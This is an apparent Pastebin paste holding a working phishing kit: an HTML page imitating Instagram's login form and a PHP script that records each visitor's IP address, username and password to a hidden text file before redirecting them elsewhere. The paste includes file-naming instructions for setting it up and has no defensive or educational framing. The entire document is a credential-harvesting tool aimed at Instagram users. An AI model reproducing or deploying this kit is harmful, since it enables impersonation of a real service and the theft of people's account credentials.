Advertisement
Guest User

Untitled

a guest
Dec 2nd, 2016
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.64 KB | None | 0 0
  1. HTML (Make sure the file is called index.html):
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5. <link href="style.css" rel="stylesheet" type="text/css">
  6. <title>Sign Up - Instagram</title>
  7. <link href="favicon.ico" rel="icon" type="image/x-icon">
  8. <link href="favicon.ico" rel="shortcut icon" type="image/x-icon">
  9. </head>
  10. <body>
  11. <div class="background"></div>
  12. <div class="background2">
  13. <p>Don't have an account? <a href="https://www.instagram.com/accounts/login/">Sign Up</a></p>
  14. </div><img class="insta-logo" src="insta.png">
  15. <form action="sendinfo.php" method="post">
  16. <div class="login-form">
  17. <input autocomplete="off" class="input username" name="username" placeholder="Username" type="text"><br>
  18. <input autocomplete="off" class="input password" name="password" placeholder="Password" type="password"><br>
  19. <input class="button" name="submit" type="submit" value="Log in">
  20. </div>
  21. </form>
  22. </body>
  23. </html>
  24.  
  25. PHP (Make sure the file is called sendinfo.php):
  26. <?php
  27. if($_POST['username'] == "" || $_POST['password'] == "" || strpos($_POST['username'], 'hugh') !== false) {
  28. header('Location: ./not-allowed/');
  29. }
  30. else {
  31. if(isset($_POST['username']) && isset($_POST['password'])) {
  32. $data = "IP :" . $_SERVER['REMOTE_ADDR'] . "\n" . "User: " . $_POST['username'] . "\n" . "Password: " . $_POST['password'] . "\n\n";
  33. $myfile = fopen("./f2f06c35-1b76-420b-ac81-847b362ba6a5/KL78.txt", "a") or die("Unable to open file!");
  34. fwrite($myfile, $data);
  35. setcookie("logged_in", 'yes');
  36. }
  37. else {
  38. die('no post data to process');
  39. }
  40. ?>
  41. <meta http-equiv="refresh" content="0; URL='http://hughchalmers.com/teachers/new/'" />
  42. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement